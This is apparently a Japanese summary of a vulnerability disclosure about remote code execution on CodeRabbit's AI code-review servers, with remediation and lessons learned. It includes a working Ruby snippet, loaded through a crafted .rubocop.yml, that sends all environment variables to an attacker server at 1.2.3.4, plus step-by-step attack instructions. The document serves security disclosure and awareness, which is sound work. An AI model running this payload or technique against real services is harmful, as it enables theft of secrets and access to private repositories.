概要
- CodeRabbitの本番サーバーで RCE(リモートコード実行) を達成した経緯の詳細解説
- APIトークンやシークレット情報 の漏洩過程と影響範囲
- PostgreSQLデータベース へのアクセス可能性の指摘
- 100万件超の コードリポジトリ(プライベート含む) への読み書き権限の取得
- 脆弱性の内容・再発防止策・インシデント対応のまとめ
CodeRabbit本番環境におけるRCE脆弱性の発見と影響
- Black Hat USAで開示した 脆弱性の詳細レポート
- RCE(リモートコード実行) の実現により、内部APIトークンやシークレットの漏洩
- 本投稿は セキュリティ啓発目的 であり、特定ベンダーを責める意図なし
- 脆弱性は2025年1月に 迅速に修正 され、CodeRabbitは全シークレットのローテーションやシステム監査を実施
- Rubocopの一時無効化、 安全なサンドボックス環境 への移行、導入ゲートの強化
CodeRabbitとは
- AIによるコードレビュー ツールとしてGitHub・GitLabで最多インストール数
- 100万リポジトリ・500万プルリクエストのレビュー実績
- AI支援カテゴリーで圧倒的シェア を持つGitHubアプリ
- Pull Requestごとに自動で コード解析・レビューコメント投稿
- セキュリティ指摘・改善提案・ドキュメント生成・ダイアグラム作成など多機能
CodeRabbitの利用開始手順
- Proプランは 静的解析ツール(Semgrep等) 対応、14日間無料トライアルあり
- GitHubアカウント連携で リポジトリ単位のアクセス権付与
- Read/Write権限 を持つGitHubアプリとして動作
- プライベートリポジトリでの動作検証可能
脆弱性調査の動機と経緯
- Qodo Mergeでの発表後、 他のAIコードレビューサービスの調査要請 を受ける
- CodeRabbitにも GitHub APIトークン漏洩時の重大リスク を認識
- プライベートリポジトリで 挙動と機能を確認 し、脆弱性調査を開始
外部ツール実行機能の悪用可能性
- CodeRabbitは 多数の静的解析ツール(Linters/SAST) を外部実行可能
- PRの規模・対象ファイル・設定ファイルで 実行ツールが制御 される仕組み
- .coderabbit.yamlやWeb設定で ツール有効化/無効化・設定ファイルパス指定 が可能
Rubocop拡張機能を利用したRCE実現
-
Rubocopは 拡張機能の動的ロード に対応し、.rubocop.ymlで任意Rubyファイルをrequire可能
-
.rubocop.ymlに
require: - ./ext.rbを記載し、ext.rbに 任意のRubyコード を記述 -
例:環境変数をJSON化し、攻撃者サーバー(例:1.2.3.4)へHTTP POST送信
-
require 'net/http' require 'uri' require 'json' env_vars = ENV.to_h json_data = env_vars.to_json url = URI.parse('http://1.2.3.4/') begin http = Net::HTTP.new(url.host, url.port) request = Net::HTTP::Post.new(url.path) request['Content-Type'] = 'application/json' request.body = json_data response = http.request(request) rescue StandardError => e puts "An error occurred: #{e.message}" end
-
-
攻撃手順
- CodeRabbit無料トライアル登録・GitHub連携
- プライベートリポジトリ作成・CodeRabbitアクセス権付与
- .rubocop.yml・ext.rb・ダミーRubyファイルを含むPR作成
- CodeRabbitがRubocop実行→ 攻撃コード実行・環境変数漏洩
取得できた情報と影響範囲
- 攻撃者サーバーに送信された 環境変数一覧(JSON形式)
- Anthropic APIキー、Aperture Agentキー、GitHub/GitLabシークレット、暗号化パスワード 等が含まれる
- PostgreSQL等の データベース接続情報 も含まれる可能性
- 1万件超のAPIシークレット、GitHubアプリのRSA秘密鍵まで流出
- これにより リポジトリの読み書き、API・DBアクセス、追加攻撃の実行 が可能となる深刻なリスク
CodeRabbitの対応と再発防止策
- 脆弱性報告後、 数時間以内にRubocopの無効化・恒久対策 を実施
- 全シークレット・認証情報の即時ローテーション
- Rubocop等外部ツールの サンドボックス実行徹底
- システム全体の監査・自動サンドボックス強制・導入ゲート強化
教訓とまとめ
- 外部ツール実行時のサンドボックス化・権限分離の重要性
- CI/CDやAIツール導入時のセキュリティ設定の見直し 必須
- サプライチェーン攻撃や 依存ツールによる間接的なリスク への警戒
- 脆弱性報告後の 迅速な対応・透明性ある情報公開 の重要性
- セキュリティは 継続的なプロセス であり、全ての組織が脆弱性リスクを持つ点への理解